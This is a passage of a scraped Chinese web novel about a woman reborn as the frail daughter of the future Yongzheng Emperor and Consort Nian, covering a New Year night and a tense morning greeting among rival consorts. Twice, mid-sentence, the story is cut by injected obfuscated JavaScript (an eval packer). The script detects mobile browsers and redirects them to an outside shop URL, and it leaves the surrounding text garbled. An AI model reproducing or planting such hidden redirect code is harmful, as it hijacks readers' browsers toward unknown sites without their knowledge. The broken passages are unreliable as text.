《我娘是雍正白月光(清穿)》 3. 佛系等死 四爷?雍和宫! 自福满去了北京上学,就经常去那里逛。 明明是人来人往,游客云集的地方。但不知道为什么福满总能在这里,找到平静感和归属感。 就像回到了家。 那日福满如往常一样去了那里,却出了车祸。 救护车、警车接连赶来,她的身体被送往了医院,魂魄却是飘进了雍和宫。 福满苦中作乐的想,这倒是真的对上了。 还真成了‘她’的家了。 那她那个美人娘就是年羹尧的妹妹了? 福满忽然想起是有人喊过她‘年主子’。 姓年哎,她之前怎么就没想到呢。 福满确定了身份,脑子努力搜寻着相关信息。 拜铺天盖地的各路影视剧以及清穿热所赐,再加上之后她又经常去雍和宫转悠,即便福满不是历史专业,也快对这位四爷的信息如数家珍了。 尤其是各路绯闻八卦。 那些年四爷真的很忙,不是和清穿女打成一片,就是为国做鸭才宠年氏。 为国做鸭? 福满看着眼前的男人,其实相比于现代看到的皇帝画像,要年轻消瘦很多。 容长脸,眉眼细长,很典型的满人长相。说不上帅气,但相貌端正,身姿清瘦挺拔,大抵是生来身份尊贵,气质倒是很突出,眉眼自带一种久居上位的威严与从容。 福满暗暗对比年氏那张跟仙女似的美人脸。 这鸭的姿色不够吧? 福满摇了摇头,打断了自己的胡思乱想。 言归正传,如果她没记错的话,历史上年氏生的孩子好像都是早夭吧? 难怪她总觉得这副小身子没什么精气神,天天光是躺着都觉得累的不行。 四爷见那小人儿带着好奇的看他,心中不免有些愧疚。 临近年节,政务繁忙。他每日回府的时候这孩子都已经睡了。 小孩子记性又差,怕是已经忘了他这个阿玛了,也难怪会这般好奇。 想到此,四爷声音不觉又温柔了几分,“好孩子,阿玛以后早些回来,多陪你玩会。时辰不早了,快睡吧。” 福满:“……” 对不起,她不该以貌取人的。 四爷看着她小脸上丰富的小表情,心中激动,低头就亲了一口她粉嫩的脸蛋,还不忘夸赞,“真是个好孩子。” 福满:“?” 收回刚才的歉意! 这一个晚上左一口,右一口,福满都快抑郁了。 虽然这副身子是个小孩子,但里子是她这个成年人啊,被美人亲一口,虽然有些难为情,但也能接受。 被醉鬼亲一口,染了一脸的酒气,谁能喜欢啊。 福满撇了撇嘴,小眼神幽怨警戒的看着蠢蠢欲动的便宜爹。 四爷好笑的往后退了退,“好了好了,都是阿玛的错。” 真是个聪慧的孩子。 虽然不会说话,但什么都明白,透着股机灵劲。 年月明一进来就见父女俩大眼瞪小眼,一个幽怨,一个跃跃欲试。 她一靠近,小姑娘眼睛一亮,立刻伸出两只小手要她抱。 年月明将人抱进怀里,抚拍着后背安慰。 “满满这是怎么了?” 四爷轻咳一声,“……可能刚睡醒,闹觉。” 本来福满伸手让美人娘抱是为了逃离魔爪,谁曾想被她抱进怀里,自己竟是凭着小孩子本能抱着人撒娇委屈起来了。 反应过来,不禁有些脸红害臊,再次装死。 此刻听了这个便宜爹的话,便是连羞臊都顾不得,猛地回头看他。 谁知人家仍是笑的慈爱的看着她,哪里有丝毫睁眼说瞎话的不自然! 年月明看着一大一小两张脸的表情,岂会看不明白其中的官司。 这人吃醉了酒忒无赖,捉弄她还不够,还招惹小孩子。 年月明也没理他,转身抱着福满去了罗汉床上坐着。 她见小姑娘手中捏着一枚拳头大小的罗汉钱,捏的小手都有些发白了,便轻轻的掰了掰手指将那罗汉钱拿了出来。 “这是爷给四格格的压岁钱。” 人家不搭理他,四爷也不恼,见她拿着那枚金钱打量,解释道:“皇阿玛除夕夜命人取了六十诞辰铸的罗汉钱,给那几个年岁小的弟弟当作压岁钱。爷涎着脸讨了两枚,这个给你。” 他说着把荷包里另一枚罗汉钱拿了出来,塞到了年月明手心里。 年月明顿时粉面一红,“既然是压岁钱,爷给我做什么?” 那人偏还低笑出了声。 霎时手心里的那枚罗汉钱,仿佛热的能灼人一般。年月明羞恼的瞪了他一眼,伸手将那罗汉钱又还给了他。 只是却被他再次抓住,反手将她的手握拳将那枚罗汉钱,牢牢包在了手心里。 “给你的当然不只是压岁钱,好好收着。” 当着福满的面,年月明又怕他再耍无赖。虽不懂他到底卖什么关子,也只能先应着将手抽了回来。 福满坐在一旁,抱着另一枚罗汉钱一边玩,一边默默看戏。 “额娘明天给你打个络子装着。先放额娘这好不好?” 这人真是的,这么脏的东西就这么给孩子了,万一往嘴里塞怎么办。 福满瞧见她眼中的担忧,乖乖的将那枚金钱递了过去。 这是第一次有人送给福满压岁钱。 在现代是福满没见过父母,奶奶年轻丧夫,老年丧子,已经是心如死灰,对生活早就没了期待和热情,能将她养大已经是不易了。 虽然这个压岁钱不是给她的,但福满还是有些舍不得。 四爷瞧着闺女的眼神,心中软成一团,“满满喜欢就让她收着。有下人时时看着,你放心,不会出事的。” 这孩子眉眼生的和她额娘一样,一双干净澄澈的眼睛可怜巴巴的望着人,真真不忍她受半点委屈。 年月明又何尝舍得,不过又给福满叮嘱了好几句这才放心。 “时辰不早了,抱四格格下去歇息。” 四爷吩咐了,乳母立刻走近抱起了福满。年月明心知他要留下,满满便只能抱走,“乖乖,早些睡。” 福满记忆中,要么是睡在那张黄花梨木小床上,要么跟着年月明睡在拔步床上,反正没离开过这里。 如今要被抱去别的地方,身体竟升起一些雏鸟情结,抱着年月明不肯撒手。 年月明瞧着更是不舍,“爷去洗漱吧。妾身抱她过去。” 等年月明将福满哄睡了后,四爷已经洗漱完了。她刚靠近床榻,就被他拉进了怀里。 四爷抚着她闷闷不乐的脸,有些无奈,“现在你就这么不舍,等以后四格格出嫁的时候还了得。” 虽然他自己想起来这事,也觉得心里烦。 说者无心,听者有意。 年月明听了这话,心中一颤,方才白术说过的话,又在脑海中过了一遍。 虽然她知道这人将来会登基,虽然她知道若是她的四格格活下来,他定然不会,也不舍得委屈了她。 但年月明此时就是迫切的想得到一个保证。 她手指紧紧攥着四爷的衣袖,“四爷,以后满满嫁谁让她自己选好不好。妾身知道皇家的公主、郡主大多要和亲蒙古。若满满是个身子康健的。妾身就是忍着剜心之痛,也不敢让您为难。可四格格生来体弱,妾身真的怕……” 年月明说着说着不自觉带了哭腔。 塞外那种地方,就是身子骨不错的女子嫁过去都得掉层皮。 更何况她的四格格自娘胎里就带了不足之症,便是活下来,这身子骨也多半和她一样不中用。 四爷顿时有些哭笑不得,好声好气的哄道:“怎么还哭了?爷不过是随口一说,逗你的。咱们四格格还小,你怎么还考虑到她出嫁的事了呢。即便是真到了出嫁的年纪,爷又怎么舍得委屈了她。” 四格格是他们的第一个孩子。自她怀孕起,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239486|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便看着她肚子一天天变大。从她孕吐到第一次胎动再到生产,那些点点滴滴和内心的期待是任何一个孩子都比不了的。 所以在他第一次看到,那个连呼吸都很孱弱的小婴儿时,之前斟酌过许久的名字都被他舍弃了。 他只想他们的四格格能够平安康健、福满乾坤。 “您得答应我。” 她少有这般任性倔强的时候,再一瞧那双沉静温柔的眸子中竟然尽是惊惧不安。 四爷怔了怔,连忙应下,“好,好,爷什么都答应你。别怕。” “爷说话算数,不准哄我。” 若不是因着大过年的,四爷真想赌咒发个誓。此时只得换了个说法,“爷是个汉子,一言既出驷马难追。” 年月明瞧着他态度郑重,这才松了口气。 “现在满意了?” 年月明点点头,虽说他现在还不是皇帝,说出的话算不得圣旨。但他这人还算守信,既然答应了她,多半不会反悔。 年月明轻轻抹了抹泪,又见他一直盯着自己脸瞧,不免有些羞。 美人含羞,楚楚动人,顿时一室生春。 这时一双宽大的手掌抚上了她的腰。 “有什么话不能好好说?哭什么呢。你就不好奇那罗汉钱别的意思?” 年月明不懂他为什么又提起了这茬。不过他此时分明是不怀好意,她即便是好奇,也不想知道了,红着脸推了推他,小声说,“妾身不想知道。” “你想知道。” 不等年月明回应,那张樱桃小口就被他咬住了…… * 福满自得知身份,便睡意全无了。 年月明走后,她便一直思量着事情。 前些日子她还想着如何回到现代。 她在现代是出车祸才导致魂魄进入了另一个时空,那是不是可以说只要她如今所在的躯体去世,她便能回到现代? 她自然是想赶紧回到现代的身体里去,可这些日子下来别说寻.死,就是连尖锐的东西她都寻不到啊。 她那个美人娘简直是恨不得时时刻刻的看着她。即便是有事要忙,也有四个乳母和一堆丫鬟不错眼的盯着她。 如今得知了身份,福满反而没那么迫切的想法回去了。 她记得年氏的孩子大多夭折,按照历史线这孩子好像也活不多长时间。 等着这孩子夭折了,她自然而然就能会现代了呀! 这么想着,福满多日来惴惴不安的心,反倒平静了下来。 不过如果“她”夭折了,那个很爱她的女人,应该会很伤心吧。 也许是这些日子的相处有了些感情,也许是这副身子对母亲的本能,福满想到历史上早早病逝的年氏,能回到现代的喜悦不由得被冲淡了几分。 她情绪波动起伏再加上认床,来来回回翻身,折腾了半夜愣是没睡着。 直到天亮了,才迷迷瞪瞪的睡着了。 半晌的时候,刚睁眼就瞧见,一道纤细的身影轻轻进了来,隔着屏风往里瞧,福满瞬间就来了精神,自己坐了起来。 年月明本来要去正院请安,去之前进来瞧瞧才安心。 “额娘要出去,现在不能抱你。满满听话,再睡会,等你醒了额娘就回来了。” 福满见她梳妆打扮了一番,还换了一身浅丁香色的旗装,就猜测她要出去。果然听了这话更是抱着年月明不撒手了。 福满即便不是个好热闹的性子,但在没任何电子设备,以及消遣方式的屋里闷了好几日,也是想出去透透气了。 外面天冷,年月明自然不想带她出去受寒。 母女俩拉扯了一会子,直到福满厚着脸皮,按着小孩子本能磨人,年月明才无奈点了头。 只是出门前给她裹了厚厚的狐裘,又带了帽子,全身上下蒙的只剩了一双大眼睛,露在外面才算满意。 福满看着那大镜子里缩小版企鹅,深觉‘有种冷叫作妈妈觉得你冷’,无论放在哪朝哪代都是至理名言呐。 4.请安 自福满来了这些日子,一直被人抱着走,这两条小腿都快不知道咋走路了。 她拒绝了乳母,自己迈着小短腿缓慢移动着步子。 今日是大年初一,早晨福晋得进宫请安,这一来一回折腾的时间长。她们现下去正院请安,倒也不算晚。 年月明便由着她慢慢的挪动着小短腿。 福满志气不小,可惜没走多远,她这副身子,就像是耗完了电量一样,开始感觉到累了。 年月明见她走不动了,伸手想将她抱起来,却被福满拒绝了。 她指了指年月明的鞋子不肯伸手。 在自己院里,年月明基本穿的都是软底绣鞋,这花盆底她确实不怎么穿的惯。昨日又下了雪,地上滑,所以她走路更加小心翼翼了。 不想这么小的细节,竟是被这孩子瞧出来了。 年月明心里软成一片,本想摸摸她的小脸,但可惜粉嫩嫩的团子,被包裹的严严实实的,只能轻轻拍了拍她的脑袋。 “额娘的满满真是个聪明的好孩子。” 乳母有眼色的上前将福满抱了起来,一行人继续朝春熙院而去。 刚绕过西花园,就和从东边来的李氏迎面遇上了。 年月明和李氏交集不多,互相见礼后便想继续走。 不想李氏竟是主动走到了福满旁边,“四格格今年三岁了吧。倒是少见年妹妹抱她出来走动。四格格叫声李额娘听听。” 李氏说着伸着带了纤长护甲的手就要去碰福满。 出于本能,福满下意识往后躲了躲。乳母见状,也急忙抱紧福满往后退了两步。 李氏没碰到人,又瞧着那一老一小一仆一主脸上带着防备,瞬间脸色就不好看了,张嘴便责问道:“年妹妹怎么调教的人?四格格按规矩也该喊我一声李额娘吧。我还不能亲近亲近她吗?” “李姐姐别见怪,四格格不常见李姐姐,有些认生罢了。”年月明随口应了一句,从乳母怀里接过了福满轻轻哄着。 她看到刚才这孩子,眼睛盯着李氏的手瞧,想来是有些害怕了。 李氏本是带着气问责,却被年月明不轻不重的随口应付了,颇有些一拳打在棉花上的感觉。 “年妹妹便是宠溺四格格也要有个度,莫要惯坏了孩子。我们二格格小时候不到一岁就会喊人了。四格格这都三岁了还不会喊人,是妹妹平日里偷懒没教?还是这四格格真如传闻说的……” 李氏说着刻意停顿了一下,颇为关心的看向年月明,“妹妹还是赶紧让四爷请太医来,给四格格好生诊治诊治吧,免得耽误了。” 福满的脑袋搭在年月明的肩膀上,听到李氏拐着弯说她有病,无奈的同时,不禁为自己方才的行为感到懊恼。 小时候家里陈旧的电视机里经常放西游记,福满最害怕的一幕,就是老鼠精长长的红指甲,一点一点的插进和尚的头颅,甚至还做过一段时间噩梦,梦到老鼠精来掐头皮。 所以刚才李氏的手忽然伸过来,即便没有恶意,但福满潜意识里的恐惧已经超越理智了,不自觉的往后躲了躲。 如今理智回笼,瞧着李氏不依不饶的架势,她才意识到自己好像给美人娘惹麻烦了。 正在福满担心年月明受欺负之时,却听她不徐不慢的道:“多谢李姐姐挂念。不瞒李姐姐,我之前也曾担忧这孩子莫不是个傻的。四爷却说,阳明先生长至五岁尚不能言,一开口却是惊艳四座,后面还能龙场悟道,比肩圣人。” 年月明虽是性子温和,却也不是怯懦的受气包。 往日不接李氏的挑衅,一是懒得搭理,二是没碰到她的底线。 此时李氏竟当着她的面说福满有病,年月明如何能忍。 她本来就个子高,又穿了花盆底,足足压了李氏一头。明明脸上带着笑容,却是气势摄人,逼得李氏有些不敢直视。 李氏面色讪讪,年氏都搬出来四爷了,她哪敢说不对。 “年妹妹还真是长了张巧嘴。” 年月明低眉浅笑,“李姐姐过奖了。其实依我看,我也没瞧出来这点小人儿有什么悟性,分明是个懒丫头才对,也就是四爷看自己闺女怎么看怎么好。” 言外之意,他们当阿玛额娘的都还没说呢,你这个外人算个什么东西。 李氏脸色僵住,她倒是少见年氏这般咄咄逼人。 “我不过是好言关心两句,年妹妹何必恼呢?还搬出四爷压我。” 拐弯抹角骂完人家有病,她倒还成了好心了。 福满实在佩服李氏的脸皮。 年月明也是无语,“就不牢李姐姐挂念了。倒是妹妹得提醒李姐姐一句。开口讥诮人,是轻薄第一件,不惟丧德,亦足丧身呢。” 简言:积点口德。 这是拐着弯骂李氏嘴贱呢。 李氏一张脸就跟变戏法似的红了黑,黑了红。 福满没忍住噗嗤笑了出来。 这下子李氏的脸彻底黑了。 年月明不给李氏还嘴的机会,抱着福满转身就走。 福满趴在年月明的肩膀上往后看,只见李氏咬牙切齿的嘀咕,“不过是个傻子哑巴,瞧她那得意劲儿。什么龙场悟道,什么圣人,一张嘴还能吐出来金蛋不成?这丫头现在不会说话,还能推说年纪小,日后看她嫌不嫌丢人!” 李氏说的小声,但福满前世是个哑巴,会看些唇语,大致能看出李氏的意思。 这种话她前世听的多了去了。刚开始还会有些难受,听的多了也就习惯了。她会让自己变得更加优秀,优秀到让别人不止看到自己的缺陷。 只是也许是刚才她被保护着,也许是身体本能,福满还是忍不住蹭了蹭抱着她的女人。 其实这幅小身子是能发声的,只是她害怕,也不习惯张口而已。若是年氏想要个会说话的女儿,她可以—— “乖乖,咱们不听那些污言秽语。你会不会说话额娘不在乎。额娘只要你平安长大就心满意足了。” 女人温柔慈爱的声音在耳畔响起,打断了福满的思考。 她吸了吸鼻子,将脸埋进了那纤长温暖的脖颈里…… 她们到正院的时候福晋还没出来,几个侍妾格格已经到了,见年月明进来忙起身行礼问安。 年月明直接让人起来,坐下后亲自将包着福满半张脸的狐皮围脖取下。 终于呼吸透气的福满张嘴迫不及待的呼了口气。 她本就生的玉雪可爱。往日里精神头不足,好看是还看,但就像个没有生机的漂亮瓷娃娃,让人不敢逗弄,生怕一触碰就碎了。如今这小脸上小表情丰富,神采奕奕的,瞧着就让人喜欢。 那几个格格看的眼热,你一言我一语的都快把福满夸成朵花了。 谁都喜欢听好话,尤其是说自己孩子的好话,年月明也不例外。 她一高兴,便将大哥年希尧命人送来的西洋纺织品,当新年贺礼送给了大家,便是后面赶来的李氏都没落下。 那个大方劲儿看的福满一愣一愣的。若是她没记错,现在的年代舶来品还是挺稀罕的吧。 不过瞧着李氏皮笑肉不笑,不想收但又不舍得拒绝的表情,福满便释怀了。 她偷乐的时候,只听一个温和的女声和年月明说道:“妾身前些日子给四格格做了双鞋,还望侧福晋不要嫌弃。” 福满顺着声音望过去,说话的是年月明下首的一个年岁稍长,眉眼温和的女人。 她正猜度着这人身份之时,就听李氏嗤笑一声,“宋格格倒是会巴结人。” “奴婢也‘巴结’过李侧福晋。只是二格格身子金贵,一穿奴婢做的衣裳就浑身不舒坦。奴婢就不白费力气了。”宋氏直直的看向李氏,竟是没有因着身份低退让半分。 “二格格是王爷唯一养大的女儿,自然是金贵的。平日里穿的衣裳从布料到做工,都是顶级的。偶尔穿了那等差的衣裳,自然浑身不舒坦。” 李氏得意的笑着,口中咬紧了‘养大’二字。 此话一出,宋氏眸中黯然,哪还有刚才不相让的锐气。 “我倒是瞧着宋格格心灵手巧的很。”年月明说着扯了扯福满的衣裳,给大家看了看,“瞧四格格这袖子上的迎春花,都能以假乱真了。我自小就手笨,学不来这些。多谢宋姐姐费心了。” 年前年月明陪嫁的绸缎铺子,送来了不少好料子,年月明让人捡好的挑了,送了后院女眷。 宋氏那儿自然也不例外。 宋氏是个懂得感恩的人,半个月后给福满做了身小衣裳送来了。 年月明心里记着宋氏的好,自然不会看着她下不来台。 在座女眷都不是傻子,能看明白年侧福晋在为宋氏解围。换了往日她们大可以笑笑打哈哈,两个侧福晋谁也不得罪。但今日刚刚收了年侧福晋贵重的西洋纺织品,哪里好意思不张嘴呢。 耿氏性子直爽,此时又拿人手短,便主动笑着道:“侧福晋还真别说,宋姐姐女红确实好。瞧着不比年前儿宫里的娘娘,赏给弘昼几个的衣裳的绣工差什么。钮祜禄姐姐,你说是不是?” 钮祜禄氏历来便是不爱搭话的性子。 此时被耿氏提到,不得不笑着应了声是。 有耿氏打了个头,众人纷纷称赞宋氏女红了得,然后聊起绣花丝织品,顺道把这茬揭过去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248134|197664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋氏被解围,感激的冲年月明笑了笑。 自李氏从福晋手中分了管家权后,她的日子愈发难过了。直到年侧福晋进府,才好了起来。 这些年若不是年侧福晋照看着些,她这条命早就丢在了那场风寒上了。 她念着年侧福晋的恩情,所以尽自己微薄之力,给四格格多做几身衣裳。 宋氏想到此,不由得看向了福满。 若是她的两个女儿活着,应该也像四格格这般玲珑可爱吧。 福满对上宋氏的眼神,顿时便明白了其中的意味。 宋氏好像也生育过孩子,但都夭折了。如今看着她,怕是触景生情想起了那了早夭的孩子了吧。 也是个可怜人。 福满下意识的看向年月明。 年氏很爱这个女儿,若是有一日四格格夭折了,那她一定很难过吧。 福满想历史上的她的结局,体弱多病,早早病逝,怕也和孩子夭折的多有关吧。 “满满,怎么了?”年月明敏感的察觉出福满的变化,连忙温柔的问着。 福满摇了摇头,对她露出了个笑容。 年月明这才放心,轻轻揉了揉她的头。 这时四福晋那拉氏终于出来了。 众人行礼之后,那拉氏歉意一笑,“大早上进宫吹了会北风,有些偏头疼。回来后小憩了一会,不想竟误了时辰,让各位妹妹久等了。” “福晋昨个儿还好好的,怎的进了趟宫的功夫还病了?怕不是得了心病吧。”李氏噗嗤一笑,眼神在福晋和年月明之间流连。 李氏一早上被年月明拐着弯反骂了一顿,哪里忍得住心头的火气,此时打量着她那张泛着春情的脸庞,等着看好戏。 只是那拉氏却不接她话茬,反而笑着和年月明道:“早上四爷说年妹妹身体有恙,已经免了年妹妹请安了。年妹妹怎么还过来了?” 年月明听了福晋这话,便脸皮再厚都得脸红,更何况她本身就脸皮薄,只能低着头装作谦卑的模样,“多谢四爷和福晋体贴,平日里容得妾身躲懒。今日是大年初一,合该来给福晋请安的。” 都怪他昨晚吃醉了酒耍无赖,非得缠着她说什么罗汉钱的民间寓意。昨个儿还是除夕夜,他留在清辉院,大半夜叫水,别人又不是傻子。 那拉氏很满意她的懂事,似笑非笑的看向李氏,“年妹妹最是知礼,便是我与四爷多体贴几分,也不会轻狂得意。李妹妹说是不是?” 李氏见那拉氏不受挑拨,撇了撇嘴,“妾身不过是关心福晋身体。瞧福晋还扯上什么礼数不礼数的。” 当年谁不是小心做人呢,只是一旦有了依仗,怎么还会愿意仰人鼻息。年氏不过是还没个阿哥傍身,不得不装模作样罢了。 那拉氏自然看的清楚李氏所思所想。 年氏是权宜之计也罢,是真心敬重她也罢。 反正如今瞧着是恭敬的很,这便够了。 况且四爷喜欢柔顺的女子,年氏敢嚣张,就是步李氏后尘,到时候自然有旁的女人取代她。 “我最是了解李妹妹的性子。在府上说说,倒也无伤大雅。只是还是当心些吧,免得祸从口出,惹出不必要的是非来。你们也一样。” 那拉氏威严的眼神在众人脸上划过,听见齐声应‘是’才满意的点了点头。 “外面天冷,年妹妹怎么还把四格格抱来了。快过来给嫡额娘瞧瞧。” 在一旁看戏的福满忽然被提及,有些茫然的抬头看了看年月明。 年月明笑着摸了摸她的头,柔声鼓励,“去吧。” 福满点点头,也不用乳母抱,自己慢悠悠的走了过去。 那拉氏脸上露出慈和的笑容,仔细打量了几眼福满。 四格格这都三岁了,但是她见过的次数倒还真不多。 现在仔细一瞧,当真是随着年氏和四爷的优点长了。尤其是眉眼生的和年氏别无二致,也怪不得四爷那么喜欢了。 不过再受宠也是个病秧子,这么小就用药吊着,八成是养不大的。 对于一个注定夭折的孩子,那拉氏乐得做个慈爱大方嫡母,又是问吃穿又是问身体,还大手一挥让人赏了福满不少东西。 等福满回到年月明身边的时候,就见丫鬟带了两个年轻貌美的女子进了来。 那拉氏见众人迷惑,笑着解释道:“德妃娘娘怜惜四爷子嗣稀薄,所以赏了两个妹妹进府。日后大家还要和睦相处才是。” 随后又让她二人给年月明和李氏见个礼。 年月明望着乌雅氏的脸,一双纤手不由自主的有些颤抖,不自觉的捂住了心脏……